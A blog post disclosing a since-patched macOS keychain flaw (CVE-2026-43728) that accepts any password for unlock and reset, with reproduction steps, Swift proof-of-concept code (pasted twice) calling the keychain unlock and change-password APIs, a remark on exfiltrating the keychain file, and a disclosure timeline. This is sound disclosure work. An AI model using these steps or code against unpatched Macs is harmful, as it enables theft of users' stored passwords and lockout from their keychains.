July 27, 2026
The Keychain CVE Where Every Key Fits
Since macOS 26.4, there’s been an issue with the keychain hiding in plain sight and that issue is it’ll take ANY password. Say what? The…

By Bob Gendler
3 min read
Since macOS 26.4, there's been an issue with the keychain hiding in plain sight and that issue is it'll take ANY password. Say what? The story behind CVE-2026–43728.
How to reproduce on macOS 26.4 to 26.5.2 —
-
Lock the login keychain.
-
Verify it's locked, type security show-keychain-info, when prompted for the keychain password just hit cancel. This confirms it's locked
-
Unlock the keychain
- Hit return or type whatever you want at the prompt.
- Verify the keychain is unlocked by typing security show-keychain-info again and hitting return.
Where this is a bit more of a kicker…you can reset the keychain password without even knowing the real one.
In the old password field, enter whatever you want, then in the new password field, enter a new password for the keycain. Now exfiltrate the login keychain file and enjoy all the passwords and secrets!
So maybe not that big of a deal since the keychain unlocks with the user session. But this also works when SSH'd in while the user has an unlocked console session. This shouldn't be the case as the login is within different sessions.
This also works in a Swift app, let's say running in the background stealing secrets from the login keychain. So, a nice malicious app could steal all your secrets or lock you out of your own keychain (though I suppose you could use the same vulnerability to change the password back).
static func unlockDefaultKeychain(withPassword password: String) -> Result<Void, KeychainSecurityError> {
guard !password.isEmpty else {
return .failure(.emptyPassword)
}
var keychain: SecKeychain?
let copyStatus = SecKeychainCopyDefault(&keychain)
guard copyStatus == errSecSuccess else {
return .failure(.copyDefaultFailed(copyStatus))
}
guard let keychain else {
return .failure(.missingDefaultKeychain)
}
let passwordData = Data(password.utf8)
let unlockStatus = passwordData.withUnsafeBytes { passwordBytes in
SecKeychainUnlock(
keychain,
UInt32(passwordData.count),
passwordBytes.baseAddress,
true
)
}
guard unlockStatus == errSecSuccess else {
return .failure(.unlockFailed(unlockStatus))
}
return .success(())
}
static func changeDefaultKeychainPassword(
oldPassword: String,
newPassword: String
) -> Result<Void, KeychainSecurityError> {
guard !oldPassword.isEmpty else {
return .failure(.emptyPassword)
}
guard !newPassword.isEmpty else {
return .failure(.emptyNewPassword)
}
var keychain: SecKeychain?
let copyStatus = SecKeychainCopyDefault(&keychain)
guard copyStatus == errSecSuccess else {
return .failure(.copyDefaultFailed(copyStatus))
}
guard let keychain else {
return .failure(.missingDefaultKeychain)
}
let oldPasswordData = Data(oldPassword.utf8)
let newPasswordData = Data(newPassword.utf8)
let changeStatus = oldPasswordData.withUnsafeBytes { oldPasswordBytes in
newPasswordData.withUnsafeBytes { newPasswordBytes in
SecKeychainChangePassword(
keychain,
UInt32(oldPasswordData.count),
oldPasswordBytes.baseAddress,
UInt32(newPasswordData.count),
newPasswordBytes.baseAddress
)
}
}
guard changeStatus == errSecSuccess else {
return .failure(.changePasswordFailed(changeStatus))
}
return .success(())
}static func unlockDefaultKeychain(withPassword password: String) -> Result<Void, KeychainSecurityError> {
guard !password.isEmpty else {
return .failure(.emptyPassword)
}
var keychain: SecKeychain?
let copyStatus = SecKeychainCopyDefault(&keychain)
guard copyStatus == errSecSuccess else {
return .failure(.copyDefaultFailed(copyStatus))
}
guard let keychain else {
return .failure(.missingDefaultKeychain)
}
let passwordData = Data(password.utf8)
let unlockStatus = passwordData.withUnsafeBytes { passwordBytes in
SecKeychainUnlock(
keychain,
UInt32(passwordData.count),
passwordBytes.baseAddress,
true
)
}
guard unlockStatus == errSecSuccess else {
return .failure(.unlockFailed(unlockStatus))
}
return .success(())
}
static func changeDefaultKeychainPassword(
oldPassword: String,
newPassword: String
) -> Result<Void, KeychainSecurityError> {
guard !oldPassword.isEmpty else {
return .failure(.emptyPassword)
}
guard !newPassword.isEmpty else {
return .failure(.emptyNewPassword)
}
var keychain: SecKeychain?
let copyStatus = SecKeychainCopyDefault(&keychain)
guard copyStatus == errSecSuccess else {
return .failure(.copyDefaultFailed(copyStatus))
}
guard let keychain else {
return .failure(.missingDefaultKeychain)
}
let oldPasswordData = Data(oldPassword.utf8)
let newPasswordData = Data(newPassword.utf8)
let changeStatus = oldPasswordData.withUnsafeBytes { oldPasswordBytes in
newPasswordData.withUnsafeBytes { newPasswordBytes in
SecKeychainChangePassword(
keychain,
UInt32(oldPasswordData.count),
oldPasswordBytes.baseAddress,
UInt32(newPasswordData.count),
newPasswordBytes.baseAddress
)
}
}
guard changeStatus == errSecSuccess else {
return .failure(.changePasswordFailed(changeStatus))
}
return .success(())
}But an interesting thing about this, when the GUI prompts like Keychain Access app or whenever something needs to access a private key, it will ONLY take the legit password. Or oddly, if you are using a Smartcard, it seems somehow it takes your PIN (make that one make sense!).
Now did Apple fully fix it, well mostly. Something is different after macOS 26.4 (I believe it's the new, User Authentication Daemon — userauthd). On macOS 26.3, if you ran security lock-keychain and then security unlock-keychain it HAD to be your keychain password. But now they added this note to the man page.
Unlocking the login keychain might succeed when an incorrect password is presented, if other unlock factors are available.
And now security set-keychain-password MUST be your actual old password when changing it. But security unlock-keychain will accept anything at all if someone is logged into a GUI session.
While I got credit I can't take all the credit. I was trying to help Mike Schwartz on the MacAdmins slack with a smartcard keychain issue and we realized, that in the Terminal, security unlock-keychain and security set-keychain-password take any password, or no password at all. I went back and tested and did a lot of digging to understand this the best I could before reporting it.
The time line for this is pretty quick I feel for them to have received and fixed this.
April 21st, 2026
- Discovered all this.
- I reported this to Apple security, opened an AppleCare ticket, and filed a feedback, and emailed our Apple reps.
April 22nd, 2026
- Apple acknowledged and said they're investigating.
May 4th, 2026
- Apple mentions it will be fixed in a future build on macOS 26.
- Ticket with Apple Security is marked "Planned for Summer 2026".
June 9th, 2026
- Apple asked me to test and reproduce on current beta of 26.6 and 27.0.
July 1st, 2026
- Received an email from Apple Product Security asking if and how I'd like to be credited.
July 27th, 2026
- macOS 26.6 is released!
About the security content of macOS Tahoe 26.6 - Apple Support This document describes the security content of macOS Tahoe 26.6.
So 3 months! Pretty great! Considering I've read people having these things drag on for months and months.
These views are my own and not the views of my employer. If you have any questions or want more information on this, feel free to contact me on the MacAdmins Slack(boberito), Linkedin(linkedin.com/in/bob-gendler-8702014) or email([bobgendler@gmail.com](mailto: bobgendler@gmail.com)).